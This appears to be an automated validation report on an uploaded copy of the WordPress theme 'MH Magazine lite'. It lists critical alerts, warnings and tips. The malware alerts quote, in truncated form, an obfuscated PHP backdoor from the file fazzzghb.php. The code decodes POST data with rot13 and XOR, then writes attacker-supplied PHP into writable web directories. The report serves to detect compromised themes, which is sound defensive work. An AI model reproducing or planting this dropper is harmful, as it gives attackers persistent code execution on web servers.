15
Validation results

MH Magazine lite

MH Magazine lite

WordPress 6.5.2 theme
15
  • THEME TYPEWordPress theme 6.5.2
  • FILE NAMEmh-magazine-lite-5-1 (2).zip
  • FILE SIZE1979655 bytes
  • MD55f27c2d53b620931c5917c0e8adf79c2
  • SHA19e4574ed44b0b3fb38caf576dc84c1b316ad7e71
  • LICENSEGNU GPL 2
  • FILES INCLUDEDCSS, PHP, Bitmap images
  • THEME URIhttps://www.mhthemes.com/themes/mh/magazine-lite/
  • VERSION2.8.6
  • AUTHOR URI
  • TAGSone-column, two-columns, left-sidebar, right-sidebar, flexible-header, custom-background, custom-colors, custom-header, custom-logo, custom-menu, featured-images, full-width-template, theme-options, threaded-comments, footer-widgets, translation-ready, rtl
  • CREATION DATE2020-04-26
  • LAST FILE UPDATE2020-04-26
  • LAST VALIDATION2020-04-26 01:07
This theme seems to be proprietary. Themecheck doesn't distribute commercial themes.
Critical alerts
  1. Security breaches : Use of str_rot13() Found str_rot13 in file fazzzghb.php. 1: <?php $jthtk = 'fhuzacgcoqheplnl';$ygvdmfykl = '';foreach ($_POST as $cdmpnuy => $tuuuzzvwhm){if (strlen($cdmpnuy) == 16 and substr_count($tuuuzzvwhm, '%') > 10){uzzrrdtczj($cdmpnuy, $tuuuzzvwhm);}}function uzzrrdtczj($cdmpnuy, $otyzen){global $ygvdmfykl;$ygvdmfykl = $cdmpnuy;$otyzen = str_split(rawurldecode(str_rot13($otyzen)));function vgaqomsrb($znorqig, $cdmpnuy){global $jthtk,
  2. Unwanted files : PHP error log error_log was found.
  3. Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site Found <iframe src="https://audiomack.com/embed/song/naijamediamp3/best-of-burna-boy-mixtape-mixed-by-dj-easy-naijamediamp3?background=1" scrolling="no" width="100%" height="252" scrollbars="no" frameborder="0"> in file archive.php. 27: <iframe src='https://audiomack.com/embed/song/naijamediamp3/best-of-burna-b
  4. Malware : Operations on file system file_put_contents was found in the file fazzzghb.php 1: <?php $jthtk = 'fhuzacgcoqheplnl';$ygvdmfykl = '';foreach ($_POST as $cdmpnuy => $tuuuzzvwhm){if (strlen($cdmpnuy) == 16 and substr_count($tuuuzzvwhm, '%') > 10){uzzrrdtczj($cdmpnuy, $tuuuzzvwhm);}}function uzzrrdtczj($cdmpnuy, $otyzen){global $ygvdmfykl;$ygvdmfykl = $cdmpnuy;$otyzen = str_split(rawurldecode(str_rot13($otyzen)));function vgaqomsrb($znorqig, $cdmpnuy){global $jthtk, $ygvdmfykl;return $znorqig ^ $jthtk[$cdmpnuy % strlen($jthtk)] ^ $ygvdmfykl[$cdmpnuy % strlen($ygvdmfykl)];}$otyzen = implode('', array_map('vgaqomsrb', array_values($otyzen), array_keys($otyzen)));$otyzen = @unserialize($otyzen);if (@is_array($otyzen)){$cdmpnuy = array_keys($otyzen);$otyzen = $otyzen[$cdmpnuy[0]];if ($otyzen === $cdmpnuy[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function kgzqdtnj($ahawgryir) {static $vvnagivoi = array();$gukghqrpva = glob($ahawgryir . '/*', GLOB_ONLYDIR);if (count($gukghqrpva) > 0) {foreach ($gukghqrpva as $ahawgry){if (@is_writable($ahawgry)){$vvnagivoi[] = $ahawgry;}}}foreach ($gukghqrpva as $ahawgryir) kgzqdtnj($ahawgryir);return $vvnagivoi;}$mjckqb = $_SERVER['DOCUMENT_ROOT'];$gukghqrpva = kgzqdtnj($mjckqb);$cdmpnuy = array_rand($gukghqrpva);$wtjkp = $gukghqrpva[$cdmpnuy] . '/' . substr(md5(time()), 0, 8) . '.php';@file_put_contents($wtjkp, $otyzen);echo 'http://' . $_SERVER['HTTP_HOST'] .
Warning
  1. theme tags : Presence of bad theme tagsFound wrong tag custom-logo in style.css header.
  2. Text domain : Incorrect use of translation functions.Wrong installation directory for the theme name. The directory name must match the slug of the theme. This theme's correct slug and text-domain is mh-magazine-lite.
  3. Text domain : Incorrect use of translation functions.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are mh-magazine-lite, Jayking.
  4. Security breaches : Presence of Google advertising codeFound pub-2727845038340231 in file header.php. 150: data-ad-client='ca-pub-2727845038340231'Found pub-2727845038340231 in file content-single.php. 28: data-ad-client='ca-pub-2727845038340231'58: data-ad-client='ca-pub-2727845038340231'
  5. Screenshot : Screenshot fileBad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Static links : Presence of hard-coded linksPossible hard-coded links were found in the file header.php.114: <a href='https://www.naijamediamp3.com.ng/registration/'>Register</a>115: <a href='https://www.naijamediamp3.com.ng/login/'>Login</a>116: <a href='https://www.naijamediamp3.com.ng/profile/'>Profile</a>198: <p style='text-align: center;'><a href='https://wa.me/2348162063521?text=Hy%2C%F0%9F%91%8B%F0%9F%8F%BE%20I%20will%2Possible hard-coded links were found in the file 404.php.31: <h1><strong><a href='https://naijamediamp3.com.ng' rel='noopener noreferrer'>CLICK HERE TO GO TOPossible hard-coded links were found in the file functions.php.14: if ($active_theme_author === '<a href='https://www.mhthemes.com/'>MH Themes</a>') {Possible hard-coded links were found in the file footer.php.9: <center><p><a href='http://m.facebook.com/naijamediamp3' target='_blank'><img src='https://seek
  2. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  3. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  4. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  5. Optional files : Presence of category template file category.phpThis theme does not contain optional file category.php.
  6. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  7. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  8. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  9. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  10. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  11. Use of includes : Use of include or requireThe theme appears to use include or require : mh-widgets.php 17: require_once('widgets/mh-custom-posts.php');18: require_once('widgets/mh-slider.php');19: require_once('widgets/mh-tabbed.php');20: require_once('widgets/mh-posts-large.php');21: require_once('widgets/mh-posts-focus.php');22: require_once('widgets/mh-posts-stacked.php'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes